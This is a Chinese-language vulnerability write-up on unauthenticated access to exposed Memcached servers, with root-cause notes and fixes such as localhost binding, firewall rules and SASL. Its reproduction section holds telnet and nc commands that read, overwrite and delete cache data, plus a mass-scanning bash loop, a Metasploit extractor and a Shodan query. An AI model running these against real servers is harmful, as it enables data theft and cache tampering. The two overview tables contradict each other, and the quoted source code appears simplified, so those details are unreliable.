一、漏洞简介¶
1.1 漏洞背景¶
Memcached 是一款高性能的分布式内存对象缓存系统,广泛应用于加速动态 Web 应用程序。其设计初衷是在内网环境中使用,默认情况下不启用身份认证机制。许多管理员在部署时直接将 Memcached 服务暴露在公网,导致攻击者可以未经授权访问缓存数据,甚至写入恶意数据。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | 暂无统一编号 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | 未授权访问漏洞 |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | Memcached 安全 |
| 属性 | 描述 |
|---|---|
| CVE编号 | 无特定 CVE(设计缺陷) |
| 危害等级 | 高危 |
| CVSS评分 | 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| 漏洞类型 | 配置错误/未授权访问 |
| 影响组件 | Memcached 服务端 |
核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。
二、影响范围¶
2.1 受影响的版本¶
- Memcached 所有版本(在未正确配置的情况下)
2.2 不受影响的版本¶
- 启用了 SASL 认证并正确配置的版本
- 绑定在 127.0.0.1 或内网 IP 的版本
- 通过防火墙限制访问的版本
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Memcached 服务监听在公网 IP(0.0.0.0 或具体公网 IP)
- 未启用 SASL 身份认证机制
- 防火墙未限制 11211 端口的访问来源
- 未使用
-l参数绑定到本地地址
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Memcached 默认以无认证模式运行,使用简单的文本协议或二进制协议。攻击者只需通过网络连接到 Memcached 服务的 11211 端口,即可执行以下操作:
# 连接测试
telnet target_ip 11211
# 查看所有键
stats items
stats cachedump <slab_id> <limit>
# 读取数据
get <key_name>
# 写入数据
set malicious_key 0 0 5
hello
# 删除数据
delete <key_name>
# 获取统计信息
stats
3.2 源码层面的根因分析(结合源码与补丁对比)¶
Memcached 的设计哲学强调性能优先,在 memcached.c 主程序中:
// 默认监听配置
if (settings.inter == NULL) {
// 默认监听所有接口
settings.inter = strdup("0.0.0.0");
}
// SASL 认证默认禁用
settings.sasl = false;
在连接处理函数中,没有内置的身份验证拦截:
// conn_new_cmd 状态处理
case conn_new_cmd:
// 直接进入命令处理,无认证检查
if (--nreqs >= 0) {
reset_cmd_handler(c);
} else {
// ... 处理下一个连接
}
break;
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 在目标服务器上安装 Memcached
sudo apt-get install memcached
# 启动服务(默认配置,暴露在公网)
sudo memcached -d -u memcache -p 11211
# 验证服务状态
netstat -tlnp | grep 11211
4.2 PoC 演示与测试过程¶
# 从攻击机探测目标
nmap -sV -p 11211 target_ip
# 连接并枚举数据
echo "stats" | nc target_ip 11211
echo "version" | nc target_ip 11211
# 批量检测脚本
#!/bin/bash
for ip in $(cat targets.txt); do
echo "[*] Testing $ip"
result=$(echo "stats" | nc -w 2 $ip 11211)
if [[ $result == *"STAT"* ]]; then
echo "[!] $ip is vulnerable!"
echo $ip >> vulnerable.txt
fi
done
使用 Metasploit 模块:
msfconsole
use auxiliary/gather/memcached_extractor
set RHOSTS target_ip
run
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
此漏洞属于配置问题,无特定版本修复。建议:
- 启用 SASL 认证(需要重新编译或使用支持包)
- 升级到最新版本以获取更好的安全默认配置
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:绑定本地地址
# 修改启动参数
memcached -d -u memcache -l 127.0.0.1 -p 11211
# 或修改 /etc/memcached.conf
-l 127.0.0.1
方案二:防火墙限制
# iptables 规则
iptables -A INPUT -p tcp --dport 11211 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 11211 -j DROP
iptables -A INPUT -p udp --dport 11211 -j DROP
# firewalld 规则
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="10.0.0.0/8" port protocol="tcp" port="11211" accept'
firewall-cmd --reload
方案三:启用 SASL 认证
# 安装 SASL
sudo apt-get install sasl2-bin libsasl2-modules
# 配置 /etc/sasl2/memcached.conf
pwcheck_method: auxprop
auxprop_plugin: sasldb
mech_list: plain login
# 创建用户
sudo saslpasswd2 -a memcached -c cacheuser
sudo chown memcache:memcache /etc/sasldb2
# 启动带认证的 Memcached
memcached -S -d -u memcache
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Memcached 官方文档: https://docs.memcached.org/
- Memcached SASL 配置指南: https://github.com/memcached/memcached/wiki/SASLHowto
6.2 其他技术参考资料¶
- Rapid7 未授权访问检测: https://www.rapid7.com/db/modules/auxiliary/gather/memcached_extractor
- Shodan 搜索语法:
port:11211